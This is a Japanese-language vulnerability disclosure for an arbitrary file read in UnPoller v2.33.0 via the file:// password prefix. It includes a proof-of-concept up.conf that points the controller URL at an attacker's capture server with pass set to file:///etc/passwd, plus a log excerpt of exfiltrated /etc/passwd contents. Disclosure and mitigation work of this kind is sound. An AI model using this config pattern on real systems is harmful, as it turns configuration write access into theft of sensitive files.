UnPoller v2.33.0 におけるパストラバーサル / 任意ファイル読み取り。file:// パスワードプレフィックスを介して行われます。ファイルの内容がディスクから読み取られ、認証時に設定された UniFi コントローラ URL に送信されます。
| CVE | CVE-2026-36851 |
| 製品 | UnPoller v2.33.0(それ以前のバージョンも影響を受ける可能性あり) |
| 脆弱性 | CWE-22(パストラバーサル)、CWE-20(不適切な入力検証) |
| CVSS 3.1 | 7.5 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| 報告者 | Hector Diaz |
UnPoller は、pass の設定値が file:// で始まる場合に、ファイルから認証情報を読み込むことをサポートしています。この動作は、オペレーターが平文の設定ファイルの外部にパスワードを配置したい Docker デプロイメント向けに文書化されています。実装では、読み取り可能なパスを制限していません。プロセスがアクセスできるファイルであれば、すべて有効な入力として扱われます。そして、読み取られた内容は、同じ設定ファイル内で url に設定されたコントローラに対して、JSON の POST リクエスト (/api/login) でネットワーク経由で送信されます。
この組み合わせにより、ローカルファイル読み取りのプリミティブがネットワーク経由の窃取チャネルに変わります。up.conf への書き込み権限を持つ攻撃者は、url を自身が管理するサーバに向け、機密ファイルへの直接的な読み取り権限がなくても、それらのファイルを繰り返し流出させることができます。
私はホームラボで UnPoller を実行しています(Proxmox LXC 上の Docker)。これは、UniFi メトリクスを Grafana にエクスポートし、他のスタックと一緒に表示するためです。私はオープンソースプロジェクトを一般的な Web 脆弱性の観点からレビューしていました。UnPoller はユーザー向けの Web サーフェスが最小限であるため、XSS は行き詰まりでした。発見のきっかけはサンプル設定でした。
pass = "file:///path/to/password.file"
意図は妥当です。シークレットファイルを参照することで、up.conf にパスワードを埋め込むのを避けられます。私が疑問に思ったのは、UnPoller がそのパスを検証するのか、それとも file:// の値をそのままファイルシステムのポインタとして扱うのか、ということでした。
pkg/inputunifi/input.go(および influxunifi、lokiunifi の類似の処理)のソースを追跡すると、ホワイトリストは存在しません。pass または api_key が file:// で始まる場合、プレフィックスが削除され、os.ReadFile() によってファイルの全内容が UniFi 認証に使用される認証情報フィールドに読み込まれます。
機密性: UnPoller ホスト上の任意の読み取り可能なファイルが流出する可能性があります。例:/etc/passwd、/proc/version、/etc/hosts、アプリケーション設定、そしてプロセス権限によっては鍵素材など。
攻撃の前提条件: UnPoller の設定(通常は up.conf)への書き込みアクセス。設定が変更されれば、UniFi の認証情報は必要ありません。
なぜこれがローカル管理者権限を超えて重要なのか: 共有ホスティング、誤設定された Kubernetes、侵害されたサイドカーなどのシナリオでは、低権限の攻撃者がサービス設定を変更できても、機密ファイルを直接読み取れない場合があります。この動作により、UnPoller がファイルを読み取り、外部に送信することで、そのギャップを埋めることができます。
範囲外: リモートコード実行、完全性、可用性。これは明確な窃取経路を持つ情報漏洩の問題です。
Debian ベースの Proxmox LXC 上で Docker Compose を使用し、ghcr.io/unpoller/unpoller:latest(v2.33.0)に対してテストしました。
環境変数 UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" を設定しても、私のデプロイメントでは動作がトリガーされませんでした。マウントされた設定ファイルが事実上の情報源でした。
up.conf を編集し、UnPoller が本番の UniFi コントローラではなく、私が制御するキャプチャサーバを指すように変更しました。
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
docker restart unpoller の後、コンテナは約30秒ごとにポート8443のリスナーへの接続を開始しました。
最初のキャプチャサーバは HTTP ヘッダを記録し、Authorization: Basic ... 認証情報を探しました。UnPoller は Authorization ヘッダなしで POST /api/login リクエストを送信しました。UniFi の API はボディに JSON を期待します。
{"username": "admin", "password": "..."}
リスナーを更新して Content-Length を読み取り、POST ボディを解析し、JSON を記録しました。1分以内に、/etc/passwd がパスワードフィールドに現れました。

ログ抜粋:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
同じ設定パターンが /proc/version(カーネル/ビルドのフィンガープリント)でも動作しました。

悪意のある設定例: poc/up.conf.example
| 日付 | イベント |
|---|---|
| 2026-02-28 | ホームラボで発見・確認 |
| 2026-03-01 | ベンダーに通知(Discord) |
| 2026-03-02 | MITRE に CVE リクエストを提出 |
| 2026-06-05 | CVE-2026-36851 採番 |
| 2026-07-03 | 公開レポート公開 |
UnPoller のメンテナーは、file:// の動作は Docker ユーザー向けの意図的な利便性であり、設定編集者とプロセスユーザーの間に権限分離がない場合の悪用可能性に疑問を呈しました。MITRE はそれでも CVE 識別子を割り当てました。
運用者向け
up.conf と設定マウントを機密として扱い、書き込みアクセスを制限する。file:// パスではなく、Docker シークレット、Kubernetes シークレット、または環境ベースの認証情報注入を優先する。開発者向け
file:// 処理を削除するか、厳格なパスホワイトリスト(例: /etc/unpoller/secrets/ 以下のみ)を適用する。MIT — LICENSE を参照。このリポジトリの実証コードは、許可されたセキュリティ研究および教育目的のみで提供されます。自分が所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。
Hector Diaz · LinkedIn · hectordiaz.net